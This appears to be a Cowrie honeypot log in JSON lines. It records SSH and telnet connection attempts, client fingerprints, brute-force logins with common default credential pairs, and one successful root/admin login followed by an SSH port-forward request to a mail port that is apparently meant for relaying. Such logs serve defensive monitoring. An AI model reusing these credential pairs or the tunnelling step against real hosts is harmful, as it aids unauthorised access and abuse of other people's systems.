{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":44978,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c8722f6dcd5","protocol":"telnet","message":"New connection: 69.65.3.189:44978 (10.17.0.5:23) [session: 4c8722f6dcd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:06.046813Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":59870,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ae9b1413366","protocol":"ssh","message":"New connection: 193.46.255.86:59870 (10.17.0.5:22) [session: 1ae9b1413366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:18.492618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:18.497008Z","src_ip":"193.46.255.86","session":"1ae9b1413366","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:18.636533Z","src_ip":"193.46.255.86","session":"1ae9b1413366","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:19.268975Z","src_ip":"193.46.255.86","session":"1ae9b1413366","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"81.19.77.166","dst_port":587,"src_ip":"193.46.255.86","src_port":22,"message":"direct-tcp connection request to 81.19.77.166:587 from 127.0.0.1:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:19.411108Z","session":"1ae9b1413366","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"81.19.77.166","dst_port":587,"data":"b'E'","id":0,"message":"discarded direct-tcp forward request 0 to 81.19.77.166:587 with data b'E'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:19.553000Z","src_ip":"193.46.255.86","session":"1ae9b1413366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:19.695861Z","src_ip":"193.46.255.86","session":"1ae9b1413366","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":56656,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8310f8d1903","protocol":"ssh","message":"New connection: 115.190.179.68:56656 (159.203.135.109:22) [session: a8310f8d1903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:21.025881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:21.033221Z","src_ip":"115.190.179.68","session":"a8310f8d1903","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:21.254354Z","src_ip":"115.190.179.68","session":"a8310f8d1903","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newadmin","password":"111111","message":"login attempt [newadmin/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:25.033282Z","src_ip":"115.190.179.68","session":"a8310f8d1903","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:26.257400Z","src_ip":"115.190.179.68","session":"a8310f8d1903","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":43830,"dst_ip":"10.17.0.5","dst_port":23,"session":"128b8886f169","protocol":"telnet","message":"New connection: 94.46.12.68:43830 (10.17.0.5:23) [session: 128b8886f169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:33.053109Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":52470,"dst_ip":"159.203.135.109","dst_port":22,"session":"74b35310ce63","protocol":"ssh","message":"New connection: 72.79.42.117:52470 (159.203.135.109:22) [session: 74b35310ce63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:41.009803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:41.014678Z","src_ip":"72.79.42.117","session":"74b35310ce63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:41.023567Z","src_ip":"72.79.42.117","session":"74b35310ce63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin888!@#","message":"login attempt [root/admin888!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:41.091665Z","src_ip":"72.79.42.117","session":"74b35310ce63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:42.101839Z","src_ip":"72.79.42.117","session":"74b35310ce63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.6058452129364,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:46.652546Z","src_ip":"69.65.3.189","session":"4c8722f6dcd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.179.68","src_port":44430,"dst_ip":"159.203.135.109","dst_port":22,"session":"64e35e9b7fe4","protocol":"ssh","message":"New connection: 115.190.179.68:44430 (159.203.135.109:22) [session: 64e35e9b7fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:58.504058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:58.508831Z","src_ip":"115.190.179.68","session":"64e35e9b7fe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":33336,"dst_ip":"10.17.0.5","dst_port":22,"session":"5052e77d3fea","protocol":"ssh","message":"New connection: 210.183.21.53:33336 (10.17.0.5:22) [session: 5052e77d3fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:58.727633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:58.731997Z","src_ip":"210.183.21.53","session":"5052e77d3fea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:58.736633Z","src_ip":"115.190.179.68","session":"64e35e9b7fe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:58.934340Z","src_ip":"210.183.21.53","session":"5052e77d3fea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2022","message":"login attempt [root/server2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T19:59:59.774481Z","src_ip":"210.183.21.53","session":"5052e77d3fea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1qaz2wsx","message":"login attempt [postgres/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:00.299437Z","src_ip":"115.190.179.68","session":"64e35e9b7fe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:00.978370Z","src_ip":"210.183.21.53","session":"5052e77d3fea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:01.524801Z","src_ip":"115.190.179.68","session":"64e35e9b7fe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":51134,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ffe5480f155","protocol":"telnet","message":"New connection: 94.46.12.68:51134 (10.17.0.5:23) [session: 3ffe5480f155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:01.962013Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":56230,"dst_ip":"10.17.0.5","dst_port":23,"session":"73395d80863b","protocol":"telnet","message":"New connection: 69.65.3.189:56230 (10.17.0.5:23) [session: 73395d80863b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:03.146767Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":55694,"dst_ip":"10.17.0.5","dst_port":23,"session":"810e55149270","protocol":"telnet","message":"New connection: 94.46.12.68:55694 (10.17.0.5:23) [session: 810e55149270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:04.034877Z"}
{"eventid":"cowrie.session.closed","duration":31.069027423858643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:04.122002Z","src_ip":"94.46.12.68","session":"128b8886f169","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00381088256836,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:06.007362Z","src_ip":"105.172.105.4","session":"d96a4fe44070","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"105.172.105.4","src_port":42215,"dst_ip":"159.203.135.109","dst_port":23,"session":"09a83b58e32a","protocol":"telnet","message":"New connection: 105.172.105.4:42215 (159.203.135.109:23) [session: 09a83b58e32a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:06.828395Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.172.105.4","src_port":65163,"dst_ip":"159.203.135.109","dst_port":23,"session":"631c4ddc0210","protocol":"telnet","message":"New connection: 105.172.105.4:65163 (159.203.135.109:23) [session: 631c4ddc0210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:08.569902Z"}
{"eventid":"cowrie.session.connect","src_ip":"105.172.105.4","src_port":62836,"dst_ip":"159.203.135.109","dst_port":23,"session":"6482438a4a31","protocol":"telnet","message":"New connection: 105.172.105.4:62836 (159.203.135.109:23) [session: 6482438a4a31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:09.200433Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":41024,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f29185ada24","protocol":"telnet","message":"New connection: 94.46.12.68:41024 (10.17.0.5:23) [session: 3f29185ada24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:09.961952Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":59808,"dst_ip":"10.17.0.5","dst_port":23,"session":"c729c44dd22b","protocol":"telnet","message":"New connection: 94.46.12.68:59808 (10.17.0.5:23) [session: c729c44dd22b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:19.134213Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.46.12.68","src_port":59824,"dst_ip":"10.17.0.5","dst_port":23,"session":"46c1c9418ec9","protocol":"telnet","message":"New connection: 94.46.12.68:59824 (10.17.0.5:23) [session: 46c1c9418ec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:19.139982Z"}
{"eventid":"cowrie.session.connect","src_ip":"76.65.159.78","src_port":53774,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d24c80a633d","protocol":"telnet","message":"New connection: 76.65.159.78:53774 (10.17.0.5:23) [session: 7d24c80a633d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:28.195482Z"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":51238,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe8e925d6e7b","protocol":"ssh","message":"New connection: 72.79.42.117:51238 (159.203.135.109:22) [session: fe8e925d6e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:30.315409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:30.326803Z","src_ip":"72.79.42.117","session":"fe8e925d6e7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:30.337299Z","src_ip":"72.79.42.117","session":"fe8e925d6e7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testor","password":"testor","message":"login attempt [testor/testor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:30.399042Z","src_ip":"72.79.42.117","session":"fe8e925d6e7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.583045244216919,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:30.778236Z","src_ip":"76.65.159.78","session":"7d24c80a633d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":32982,"dst_ip":"10.17.0.5","dst_port":23,"session":"b47585194681","protocol":"telnet","message":"New connection: 69.65.3.189:32982 (10.17.0.5:23) [session: b47585194681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:31.245216Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":32984,"dst_ip":"10.17.0.5","dst_port":23,"session":"24fc6ec3f6eb","protocol":"telnet","message":"New connection: 69.65.3.189:32984 (10.17.0.5:23) [session: 24fc6ec3f6eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:31.249531Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:31.413720Z","src_ip":"72.79.42.117","session":"fe8e925d6e7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.65.159.78","src_port":54170,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0113ffdc2fa","protocol":"telnet","message":"New connection: 76.65.159.78:54170 (10.17.0.5:23) [session: b0113ffdc2fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:33.055641Z"}
{"eventid":"cowrie.session.closed","duration":31.27753758430481,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:33.239417Z","src_ip":"94.46.12.68","session":"3ffe5480f155","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.7400126457214355,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:33.795518Z","src_ip":"76.65.159.78","session":"b0113ffdc2fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.350903034210205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:00:35.385634Z","src_ip":"94.46.12.68","session":"810e55149270","protocol":"telnet"}
